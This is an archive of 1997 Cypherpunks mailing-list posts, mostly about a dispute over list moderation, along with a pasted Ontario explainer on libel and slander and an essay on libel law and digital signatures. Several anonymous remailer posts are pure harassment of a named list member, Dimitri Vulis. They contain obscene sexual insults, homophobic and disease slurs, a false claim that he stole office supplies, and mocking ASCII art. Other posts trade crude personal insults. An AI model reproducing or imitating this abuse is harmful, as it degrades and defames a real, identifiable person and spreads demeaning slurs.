> > ravings of Dale Thorn, the love letters between Vulis and someone name
> > Nurdane Oksas,...
> 
> Two points:  Since Tim largely agrees with those in opposition to
> moderation, and because of the extraordinary nature of Tim's post,
> I did not send it to the "flames" list.  It was a judgment call.

Why? - I saw nothing whatsoever in Tim`s post that would make it a 
"judgement call" for any objective moderator^H^H^H^H^H^H^H^H^Hcensor.
The real reason it was a judegement call was because it was critical 
of Gilmore and yourself, in addition Tim`s points where too subtle 
and deep for you to respond to without resorting to sophistry.
The reason on the other hand you did choose to post it to the 
censored list was because you realised this and could not get away 
with junking it to the flames list without incurring criticism.
  
> The problems Tim describes, did not arise with moderation.  
> Indeed, they were the imputus for the moderation.

Sophistry once again. I shall not even bother to explore in more 
detail this issue as any intelligent reader can, even at face value, 
see this to be a falacious argument.

> > Second, the list was consumed with
> > flames about this, many from Vulis, and many from others.
> 
> It was consumed with flames before.  Now, at least, the vast
> majority of folks on the list don't have to read them, nor jump
> through any hoops to implement some sort of dynamic filtering
> half-measure.

Three questions:

1. How do you see filtering to be a "half measure"
2. What hoops? - if you count implementing a simple filtering 
measure to be "jumping through hoops" how do you consider that 
readers of the list do not have to "jump through hoops" to subscribe 
to the uncensored list.
3. What makes you think that your subjective and evidently self serving method 
of moderation is any better than keyword filtering.
 
 
> What didn't work was "local filtering" which has no feed-back 
> loop to engender comity.  This might not work either, but I see
> no evidence that it has made things worse.  Remember, there are a
> hand-full of subscribers to the Flames list, 20-30 on the 
> Unedited list and *2000* or so on the Moderated list.  Sure some
> of that may be due to laziness, but it would be cavalier in the
> extreme to claim that such an overwhelming acceptance of 
> moderation is merely an artifact of inertia.

Cavalier? - I`ll bet you anything you like if you had set up a new 
list for the censored articles and left cypherpunks@toad.com as an 
uncensored list you would have seen the same results, that 2000 or so 
would have remained where they were instead of trying to "unimbibe", 
and a hardcore of 20 to 30 subscribers would have consciously taken 
the decision to move to the censored list.

As we seem to be in "experiment" mood on the cypherpunks list at the 
moment I challenge you now to re-configure the list as stated above. 
The we shall see whose viewpoint is "cavalier"
 
> But to make things perfectly clear one more time, ANYONE WHO 
> WANTS TO READ THE ENTIRE CYPHERPUNKS FEED SHOULD SUBSCRIBE TO 
> "CYPHERPUNKS-UNEDITED" AND/OR "CYPHERPUNK-FLAMES."  

See above argument, the flock stay together. In addition other list 
members are lazy, stupid, ignorant etc. And cannot/will not subscribe 
to the uncensored list.

> But let's apply Tim's above definition for the sake of argument.
> Am I, thereby, a censor?  Well I am examining "other material" 
> and I am making judgments with regard to whether or not it is
> "objectionable," unfortunately for Tim's argument, I am neither
> "removing" nor "supressing" anything.  Anybody can read anything
> that gets posted to Cypherpunks--in two places.  I am sorting,
> but even my sorting can be completely avoided.

Waffle. There is a suprising profundity of waffle in this post 
considering it is supposed to be refuting some very subtle and 
eloquently stated arguments by Tim.
The fact is you are a censor, you are deciding what is seen on the 
"main" cypherpunks list, you send any comments on your form of 
censorship, apart from compliments, to the "flames" list in order to 
protect yourself and John Gilmore.

> Very possibly true.  Moderation is like crypto, perfection isn't
> and option.  However, a 90% solution is a heck of a lot better 
> than no solution at all.  Yes, I've made what I consider to be
> errors, but I think on some, I've done a very good job overall.
>  
> > * (Frankly, one of my considerations in leaving was the feeling that I
> > would never know if an essay I'd spent hours composing would be rejected by
> > Sandy for whatever reasons....
> 
> Tim, I think this is disingenuous.  I have been quite clear on 
> my moderation criteria.  You are too intelligent to feign such
> a lack of understanding.

Not at all, Even if you had been clear (and let me make it clear that 
I do not believe you have been) you still would not objectively 
follow those guidelines you had set for yourself. Your censorship is 
subjective and unethical. However, I am deviating from the point as I 
happen to be arguing from an anti-censorship point of view whoever 
were carrying out said censorship.

> > * The decision to "moderate" (censor) the Cypherpunks list is powerful
> > ammunition to give to our opponents,
> 
> Piffle.  Letting spoiled children destroy the list puts a far
> more powerful weapon in the hands of our enemies.

Piffle, showing that even an anarchic list "requires" censorship is 
the best ammunition we could have given them. We are better off 
without a cypherpunks list at all than we are playing into the hands 
of those who oppose us.

> > and Vulis is certainly gleeful that
> > his fondest wishes have been realized.
> 
> I do not have a crystal ball.  My Vulcan mind meld is in the 
> shop.  No one--neither Tim, nor I, nor probably even Vulis--knows 
> whether he is gleeful about all this or not.  And frankly, who cares?
> The question is, are list members happy or not with moderation.
> Tim was not.  I am.  By the end of the experiment, I dare say we
> will have a good idea what most list members think. 

We already have a good idea what they think if we care to look at the 
flames list where all their relevant comments are junked to.

Besides which you are not answering the question here, just picking a 
random point to put forward an argument you wanted to.


> as far as moderating political rants go, I'm agnostic.

You mis-spelled self-serving.


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Tue, 4 Feb 1997 00:34:58 -0800 (PST)
To: Larry Johnson <lwjohnson@grill.sk.ca>
Subject: Re: About: My Departure, Moderation, and "Ownership of the List
Message-ID: <855044577.918616.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> For what it's worth, I think that this Tim May, not being a
> user of the list, has no place to talk. His type, to me,
> characterate those who quit something and complain later,
> knowing that some people will listen to them.

Tim May has been one of the most intelligent, eloquent and on-topic 
posters to this list in it`s entire history... Who the hell are you?

I would respond to your post with reasoned and logical argument but I 
cannot find one substantive point in it that is worthy of comment. I 
will muddle through as best I can anyway:

One easy jibe here is you don`t know how to spell characterise, maybe 
you would be better off unimbibing?

> So what, if he decided to leave? It was his own choice
> and he can't just come back and say everyone who stayed is
> now impelled to listen to him, just because he used to
> do a bunch of posts. I don't think that hardly any of
> you would listened to me later if I left the list.

No-one knows who you are nor do we care, you have not accumulated any 
reputation capital nor are you likely to with posts like this.

Tim tried to cover in as much depth as possible without resorting to 
verbosity the points he felt were important and worthy of discussion 
regarding the censorship of the list and other associated issues.

You were not impelled to read his post nor to reply to it with a 
content-free rant as you did. If you felt "impelled" to read a post 
simply because it was on a screen in front of you you clearly do not 
understand even the rudiments of anarchism.


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Butler, Scott" <SButler@chemson.com>
Date: Tue, 4 Feb 1997 02:48:25 -0800 (PST)
To: "'IMCEAX400-c=GB+3Ba=+20+3Bp=CHEMSON+3Bo=CSH+3Bdda+3ASMTP=CYPHERPUNKS+40TOAD+2ECOM+3B@chemson.com>
Subject: FW: concerning Ben Franklin
Message-ID: <c=GB%a=_%p=CHEMSON%l=CSH_NT0-970204105301Z-556@csa-ntx.chemson.com>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote:

>Franklin said "A man owns an ass; he can vote.  The 
>ass dies; he cannot vote.  Who owns the vote?" 

Poor Timmy May must not be able to vote then, as surely his ass must
have been "bashed" to death by now.


Scott.
 
REMEMBER:
	"Dreams are just Screen Savers for the brain"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 1 Feb 1997 00:08:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: 40-bit encryption keys
Message-ID: <199702010808.AAA20998@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dickhead L>ily< Vulis K>ondom< Of The Minute studied yoga
back-stretching exercises for five years so he could blow
himself (nobody else will).

   /o)\ Dr.Dickhead L>ily< Vulis K>ondom< Of The Minute
   \(o/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 31 Jan 1997 22:21:30 -0800 (PST)
To: dthorn@gte.net
Subject: Re: David E. Smith / Known Flamer
In-Reply-To: <32F2DE81.A71@gte.net>
Message-ID: <199702010618.AAA08230@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> 
> The List Lord made it clear "In The Beginning" that some posts would
> probably be irretrievably lost due to unavoidable "mistakes".
> Think "FBI Crime Lab".  You get the picture.
> 

Remember, Dale, posts really do get lost due to unavoidable
mistakes.

Shit happens, and it certainly happens with all moderators whom I know.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 31 Jan 1997 22:10:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: UNSCRIBE
In-Reply-To: <199702010155.RAA29605@toad.com>
Message-ID: <ykNF2D32w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> XaViUs@pe.net wrote:
> >
> > UNSCRIBE
>
>   Your message has been received by the CypherPunks list, and we will
> shortly be sending a rabbi and a surgeon to UNSCRIBE you.
>   In the meantime, please try to keep your foreskin cleansed and
> hygenic, in order to prevent infection.

Toto,

The guy who actually cuts off the foreskin is called "mohel", not rabbi.

Once there was a very old mohel whose hands were shaky. He wanted to buy an
insurance policy in case he cut off too much. His insurance broker shopped
around and said: "I found this great insurance policy, but there's good news
and bad news. Good news is, you get a million dollar policy for only 20 bucks
a year. Bad news is, there's a two inch deductible."

ObModeratorComment: please don't buy Stronghold or any other product from C2.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Fri, 31 Jan 1997 19:58:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: [ITAR] Zero-knowledge interactive proofs
Message-ID: <19970201034747.28587.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Derisve L]oser[ Vampire K]unt[OfTheMinute is a pimply dweeb
sitting at a computer chortling at his own imagined cleverness.

                .-._
               {_}^ )o
      {\________//~`
       (         )   Dr.Derisve L]oser[ Vampire K]unt[OfTheMinute
       /||~~~~~||\
      |_\\_    \\_\_
      "' ""'    ""'"'





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Fri, 31 Jan 1997 19:58:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Weak cryptoanarchy
Message-ID: <19970201034749.28604.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


Dimitri Vindictive K[rap]OTM is a pimply dweeb sitting at a
computer chortling at his own imagined cleverness.

       |\_/|
       (0_0)     Dimitri Vindictive K[rap]OTM
      ==(Y)==
  ---(u)---(u)---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Fri, 31 Jan 1997 20:58:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: [URGENT] PGP Signatures
Message-ID: <19970201044740.30069.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


When Dopefiend L[owdown] Vulis K[unt] Of The Moment's mother
gave birth to him after fucking with a bunch of sailors, she
didn't know who the father was but decided to tell him that he
was a Russian as the Russian sailor was the one who satisfied
her the most.

    ^ ^
   (o o) Dopefiend L[owdown] Vulis K[unt] Of The Moment
    ( )
   \___/
    !_!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Fri, 31 Jan 1997 20:58:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [PGP] Passphrase security
Message-ID: <19970201044950.30645.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


Dolt Vulis K[ancer] Of The Moment has been fired for stealing
office supplies.

   ,/         \,
  ((__,-"""-,__))
   `--)~   ~(--`
  .-'(       )`-, Dolt Vulis K[ancer] Of The Moment
  `~~`d\   /b`~~`
      |     |
      (6___6)
       `---`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Fri, 31 Jan 1997 20:58:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Reputations
Message-ID: <19970201044950.30649.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dumbbell Volcano K>retin<OfTheMinute enjoys sucking the puss
from his syphilitic homosexual friends.

   ))))
  ))  OO Dr.Dumbbell Volcano K>retin<OfTheMinute
  6   (_)
  `____c





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wlkngowl@unix.asb.com (Rob)
Date: Fri, 31 Jan 1997 21:18:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Secret" Postal Device stolen
Message-ID: <199702010540.AAA06359@unix.asb.com>
MIME-Version: 1.0
Content-Type: text/plain


On 31 Jan 1997 15:26:16 -0500, Jim Ray wrote:

>from http://www.herald.com/dade/digdocs/021949.htm
>Postal Service offers $25,000 reward for stolen . . . something

>By ARNOLD MARKOWITZ Herald Staff Writer 
>    U.S. mail carriers carry more than just the U.S. mail.
>They carry something else so secret that nobody outside the
>Postal Service knows about it -- except four crooks who steal
>them from letter carriers on the streets of Miami. There's a
>$25,000 reward for tips producing capture and conviction.

- Nicaraguan cocaine shipments bound for Los Angeles
- Coded messages from the grays
- L.Ron Hoover's posthumous writings on appliantology








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wlkngowl@unix.asb.com (Rob)
Date: Fri, 31 Jan 1997 21:22:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: It can be disabled (was Re: PGPMail Log File)
Message-ID: <199702010545.AAA06450@unix.asb.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On 31 Jan 1997 09:27:45 -0500, you wrote:

>At 02:22 AM 1/31/97 +0000, "Robert Rothenburg 'Walking-Owl'" 

>< WlkngOwl@unix.asb.comwrote:
>> Is there a way to disable the \WINDOWS\PGPW_32.LOG?
>> In subtle ways it's a security hole if left to accumulate over time,
>> since it keeps records of which keys you encrypted messages to.

>This is a damn good question.  I do NOT have the "write to a log file"
> option slected in the misc. tab and it STILL writes a log file.  How DO 
>we disable this?

It's disabled, with the exception of keeping when it was last run.
Technically
a 'security hole' but so minor I can live with it.

Maybe your version (I'm using beta 11) has a problem, but mine's
fine. I was just careless and didn't look closely (not something one
should do with crypto...)

Rob


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMvLTBQTNlSxdPy6ZAQEe4Qf7B1tIyBSZvdtg48lSZAnr4IOh9NbbrgvK
RSoGF8UVGnfQWgItsiYIkA82WAqxBBMQaJuHBolkm8PTh7eb/Q3dd4Wz9BZdMp/g
+aCRIM2MzfX2+SagyTw4r7L98XozfcUkhnSKcmJQDtrrq04Rlglt5Muf96jrW++p
ltp4gXh4nawx75GZlGIS2XB223g5Rd9RSXAGER0gV1BtZKYt8uGkzeGL0OnsZnr+
VUgNVmXX2jeCn0essUX5WcKlSK2vATkoqv3UR1deEbP0Xdt/PTwjS/GZHrvnP5B1
zfOn7iV0CGZYXWpQAGO58HtW16vqC8wZ6lb5N7tdbBRcGX0B/cHc8A==
=49OA
-----END PGP SIGNATURE-----


-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
 and dad you wind up doin' time." | 'send pgp-key' for my public key.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Mon, 27 Jan 1997 17:22:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: public_law_other_650.html
Message-ID: <199702280121.TAA04366@einstein>
MIME-Version: 1.0
Content-Type: text/plain




[ISMAP]  [INLINE]

   Libel and Slander
   
   
   Tape #650
     _________________________________________________________________
   
   On this tape I will discuss libel and slander. It is for your general
   information only. It is not legal advice. It will give a general
   outline of the law on the subject as it applies in Ontario. If you
   have a legal problem, you should talk to a lawyer.
   
   We all have the right to have our reputation protected against false
   statements made against us. This protection is given to us by the law
   of defamation. On this tape I'll talk about defamation in both its
   forms - libel and slander. Libel can be a crime, but this section of
   the Criminal Code is rarely used, so I'll talk about libel and slander
   only in their civil context - the person defamed suing the defamer;
   asking for money as compensation for the injury to his reputation.
   
   
   Generally speaking, a defamatory statement is one which tends to lower
   a person in the estimation of right-thinking members of society. For
   example, if someone calls you a cheat in your business dealings, you
   probably have a lawsuit against him. That is, you do if he says it to
   someone other than you. It's not enough that the statement be made to
   the person it's about. It has to be communicated to another.
   
   
   What's the difference between libel and slander? Broadly speaking, if
   the defamatory statement is made in some permanent form, such as a
   newspaper or a letter, then it's libel. If it's in a transitory form,
   such as a hand gesture or the spoken word, then it's slander. But a
   defamatory statement that's broadcast on radio or television will be
   libel, not slander, even though it's spoken and not written.
   
   
   In the past, there was a good reason to know the difference between
   libel and slander. Today, if you can prove that you have been
   libelled, and there is no good defence, then the law will presume you
   have suffered damages and will fix an amount as compensation for your
   loss of reputation. In other words, you do not have to prove damages
   for actual financial loss.
   
   
   For many years, in cases of slander, you had to prove actual financial
   loss before you would be awarded damages under the law. In part, this
   was because slanderous statements were not considered permanent and
   therefore would not have as great an impact as libellous words,
   gestures or portrayals.
   
   
   Today, under the Ontario Libel and Slander Act, the requirement to
   prove damages in slander cases has been removed in certain situations.
   Mainly, these include cases where words are chosen to call into
   question the reputation of a person in relation to that persons
   office, profession, calling, trade or business. Therefore, if you
   could prove that Bill told John you were a cheat and then John refused
   to enter into a contract with you because of the statement, you would
   be compensated for the loss of contract and reputation. You would have
   to prove it was Bill's intention to attack your business reputation,
   but otherwise, damages would be awarded outright.
   
   
   Unfortunately, the Ontario Libel and Slander Act does not remove
   completely the requirement to prove damage, in all slander cases.
   Therefore, it is important to discuss your case with a lawyer to
   determine how yours would be treated under the law.
   
   We said earlier that the law protects a person's reputation. But
   obviously this protection can have the effect of restricting other
   rights, such as free speech. So the law tries to balance these
   competing interests. In certain circumstances, even though a
   defamatory statement may have been made and a person may have suffered
   injury to reputation, other interests are considered more important.
   In those cases, the law provides certain defences that can protect a
   defamer from liability.
   
   
   The most common defences are: truth (known in law as "justification");
   absolute privilege; qualified privilege; and fair comment.
   
   
   The first is the easiest. A statement might well lower your
   reputation, but if it is the truth then anyone is free to say it.
   Additionally, if you consent to the statement being made, you cannot
   later argue you have been defamed.
   
   
   The second defence - that of absolute privilege - covers statements
   given in evidence at a trial, or made in Parliament, to give the two
   prime examples. And it extends to the fair and accurate reporting of
   those statements - the newspaper report of a trial, for instance. Our
   systems of justice and parliamentary democracy demand that in those
   situations participants must be free to speak candidly, without having
   to worry about risking a lawsuit for defamation.
   
   
   The defence of qualified privilege covers other situations. For
   instance - say a former employee of yours has given your name as a
   reference, so you get a call from someone who wants to hire him. He
   asks your opinion. You say: "Well, frankly, I always suspected he was
   stealing from me." That's an occasion of qualified privilege . You had
   a moral duty to give your honest opinion and the caller had a
   legitimate interest in hearing it. As long as you acted in good faith
   and said what you honestly believed you would have a valid defence to
   an action for defamation.
   
   
   Finally, there's the defence of fair comment. We are all free to
   comment freely - even harshly - on matters of legitimate public
   interest as long as our comments are made honestly, not maliciously,
   and are based on true facts. For example, say a columnist writes that
   an MP secretly holds shares in a company which has just got a large
   government contract. Then he comments that the MP is deceitful and
   should resign his seat. Well, if in fact the MP owns no shares in the
   company, then the columnist may be open to a lawsuit. But if the facts
   are true, that is the MP does own the shares, and the columnist
   honestly believes bases on those facts that the MP is deceitful and
   should resign, then he will have the defence of fair comment.
   
   
   If you intend to sue for a libel in a newspaper or a broadcast you
   must give notice to all those you intend to sue within six weeks of
   learning of the publication or broadcast, and you must specify in your
   notice the nature of your complaint, with specific reference to the
   actual words of which you complained. As well, you must commence your
   action within three months of learning of the publication or the
   broadcast. Failure to conform with either of these two steps will
   deprive you of any right to sue.
   
   In cases not involving newspapers or broadcasts, you must commence
   your action against the defaming party within 2 years of the words
   being spoken or written.
   
   
   Finally, there's the matter of apology. When a libel has been
   published in a newspaper or other periodical, or in a radio or
   television broadcast, the publisher or broadcaster can limit the
   amount of the damages the broadcaster may end up paying by publishing
   or broadcasting a full apology at the earliest opportunity. Not only
   newspapers and broadcasters can limit their damages by offering an
   apology before the action begins. Any defaming party can offer an
   apology in the hopes of having their damages reduced.
   
   
   The law of defamation protects your right to your good name. If a
   person makes a false statement to another to your discredit you can
   sue for damages. But because of other competing rights in our society,
   such as free speech and fair comment, there are cases where even the
   most defamatory statement will not give rise to an award of damages.
   If you think you have been defamed, you should talk to a lawyer.
   
   Home   Search   Feedback   What's New   Copyright & Disclaimer   About
   This Site




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Mon, 27 Jan 1997 18:51:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Libel/slander & crypto relevancy
Message-ID: <199702280250.UAA04550@einstein>
MIME-Version: 1.0
Content-Type: text



Hi,

I have received several private emails inquiring into what possible crypto
relevance the recent exchange over libel/slander and the law. It is clear
that even in democratic countries like Canada (not know as a freedom of
speech protectorate) slander/libel is covered under criminal codes. While
it is true that currently these statutes are not heavily used, if at all,
this will change as businesses and special interest groups move even further
onto electronic networks. Consider the zealous use of the law by the CoS.
Ask Julf if the ramifications are not 'real world'.

Consider a trial where a person is purported to have altered a transmission
by some party. It is not in the juries best interest to rule in the favor of
anyone other than the person claiming the damage. Why you might ask? Simply
because they are going to see themselves in that same situation and will
want to know that they are protected both in spirit as well as actuality.
What company will want to use an environment where their contracts and other
exchanges can not only be viewed by unknown third parties but are subject to
a man in the middle attack, potentialy ruining a company. Consider the
ramifications in a political venue. Now some will quickly point out that
they can encrypt the entire document, hardly suitable for web pages and
other forms of advertisment. I predict that within the next five years these
slander/libel laws will be used by some organization to prosecute defamation
of their Internet presence (eg web page graffitti). Within 10 years this
area will be one of the hotest areas of the new communications law.

Now some have held that list operators and such will be protected, most
probably not in reality. Consider, we live in a time where a person can get
drunk and kill somebody with their automobile and the bar or store they
bought the drink(s) from can be charged. There is a current trend in the
legal industry to find the person that is easiest to prosecute in the chain
of events and it has nothing to do with personal responsibility or other
quaint but possibly naive views.

I want to thank Toto for acting as the unknowing and unwilling dupe in my
taking advantage of his emotional outburst and its results, it wasn't
personal I was simply trying to create a suitable environment to make
my point. It was a happenstance occurance I could not resist taking
advantage of. It is clear that here we have a lawyer in Canada who is not
even aware that there is a little used criminal statute in the country he
practices in which could be used by citizens sufficiently motivated and
having suitable quantities of cash at hand to pursue the matter. This is
not a unique occurance by any means, consider the outburst from some list
members, supposed legal experts, over some of the references that I
forwarded (not what I would call a consistent understanding of the law by
any stretch of the imagination). The reality is that the legal industry
(after all the main motivation for the legal profession is money) has a
serious lacking in trained individuals. This should be a warning sign to
everyone in any society which has hopes of embracing communications 
technology. Lawyers don't make law, they survive by taking their views of
the law and convincing juries of from 6 to 12 (YMMV) persons that this is
the way to protect 'society' and its best interests. If they don't
understand the technology (eg forwarding private email to publicly
accessible lists by accident) how in the world are they going to understand
what is best, let along convince anyone else? Is this the kind of
self-interest you want to trust your criminal communications case, let alone
your liberty, to?

It has been proposed by at least one party that a district attorney or other
public prosecutor would not act on such events. This is also naive. The
ramifications for their political opponents to use this 'insensitive and
clearly self-interested' refusal to act as a perfect example of how that
prosecutor is interested in their own political career and not in the
interest of the people they are charged with protecting as well as a good
demonstration of their technological ignorance. It would be very difficult
to get re-elected in such an environment.

Now the crypto relevancy, one of the methods to help reduce if not
completely abort such attempts is digital signatures. Recently a couple of
co-workers for Tivoli-IBM went to the Usenix conference and while there did
some key signings. However, after discussion upon their return it was clear
that having had their keys signed and signing others there was no clearly
useful way to apply those keys in commen communications. Last year the
Austin Cypherpunks did a short term experiment with a system
(kourier.ssz.com) which was involved in encrypted file systems, encrypted
transfers, traffic analysis, and heterogenous key-ring management. This also
made it clear that the legal ramifications, economic issues (eg who pays) as
well as the technical hurdles have not been studied sufficiently to call this
technology mature.

All that I ask is that instead of jumping the gun and saying 'it ain't so'
you simply consider the ramifications from 'their' perspective. It truly is
amazing what one can learn by walking a mile in another mans shoes. For if
there is one truth to be learned it is that this discussion is not about how
it is, but rather how it will be and how it should be.


                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Aspen <admin@aspenlinx.com>
Date: Mon, 23 Mar 1998 13:27:47 +0800
To: cypherpunks@toad.com
Subject: My post earlier.
Message-ID: <2.2.32.19970321051436.006b5c5c@ecom.net>
MIME-Version: 1.0
Content-Type: text/plain



Sup, It's Kevlar.
I posted earlier about the "new" encryption method.
It occured to me if you assign the "MAC"'s to computers

and make a simple router 
(some transistors to act at "signaler" lines, one way of corse, so 3 a
computer, A few ic's, hardware, and a power supply, ($75)), 

You have the makings for a basic network. Isn't that allready pattented?

Hope I made somebody think for a second. I know I concidered this notion
quiet a bit.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Fri, 28 Feb 1997 23:09:03 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: "Suspected of purchasing diesel fuel"
In-Reply-To: <3317A7EB.1B8B@sk.sympatico.ca>
Message-ID: <Pine.A41.3.95.970301000417.15342E-100000@freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain








Toto you and Vulis need to go to talk sex pervert and stay out of this
list.




        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca


On Fri, 28 Feb 1997, Toto wrote:

> Dr.Dimitri Vulis KOTM wrote:
> > 
> > ITAR-relevant urban legend: once the Soviet government order 10K dozen 8"
> > condoms in the U.S. and the Nixon administration made sure that each one was
> > stamped "medium".
> 
>   Does any condom over 6" fall under the category, 'Munitions'?
> -- 
> Toto
> -----------------------------
> "The Xenix Chainsaw Massacre"
> http://bureau42.base.org/public/xenix/xenbody.html
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 28 Feb 1997 23:44:58 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re: "Suspected of purchasing diesel fuel"
In-Reply-To: <Pine.A41.3.95.970301000417.15342E-100000@freenet.edmonton.ab.ca>
Message-ID: <3317FAD6.6BCC@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Graham-John Bullers wrote:
> 
> Toto you and Vulis need to go to talk sex pervert and stay out of this
> list.

  I visited your "Hack Crack and Preak" page, and I'm sure that you are
indeed a real 'Preak', not just another phony who claims to be a
'Preak'.
I had an East Indian friend who thought most everyone was a real
'Preak'.
  Speaking of which, I noticed that you had a pointer to "The Official
Cypherpunks Home Page." 

  Thanks for the pointer, I certainly found it enlightening. Up until 
now, I didn't realize that Sammeer was the head CypherPunk, and the
official host of our homepage.
  It certainly makes me feel foolish for disputing his right to have his
employees control the CypherPunks list and throw my posts in the
garbage.
  Silly me.  
-- 
Toto
-----------------------------
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 1 Mar 1997 05:50:41 -0800 (PST)
To: Toto <cypherpunks@toad.com
Subject: Re: "Suspected of purchasing diesel fuel"
In-Reply-To: <Pine.A41.3.95.970301000417.15342E-100000@freenet.edmonton.ab.ca>
Message-ID: <199703010755.HAA13260@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <Pine.A41.3.95.970301000417.15342E-100000@freenet.edmonton.ab.ca>, on
03/01/97 at 12:07 AM,
   Graham-John Bullers <real@freenet.edmonton.ab.ca> said:

>On Fri, 28 Feb 1997, Toto wrote:

>> Dr.Dimitri Vulis KOTM wrote:
>> > 
>> > ITAR-relevant urban legend: once the Soviet government order 10K dozen 8"
>> > condoms in the U.S. and the Nixon administration made sure that each one was
>> > stamped "medium".
>> 
>>   Does any condom over 6" fall under the category, 'Munitions'?
>> -- 
>> Toto
>> -----------------------------
>> "The Xenix Chainsaw Massacre"
>> http://bureau42.base.org/public/xenix/xenbody.html
>> 


>Toto you and Vulis need to go to talk sex pervert and stay out of this
>list.


Call 911 someone has stolen your sense of humor.

I can just picture some neanderthal jack-booted washington bureaucrat thinking that the above would be good psychological warfare.


- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: PATH=C:\DOS;C:\DOS\RUN;C:\WIN\CRASH\DOS;C:\ME\DEL\WIN

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 0000000

iQCVAwUBMxg0KI9Co1n+aLhhAQGgSAP/bwaWeXFZALp+TEHdYNfGRM+Jb65xVcz7
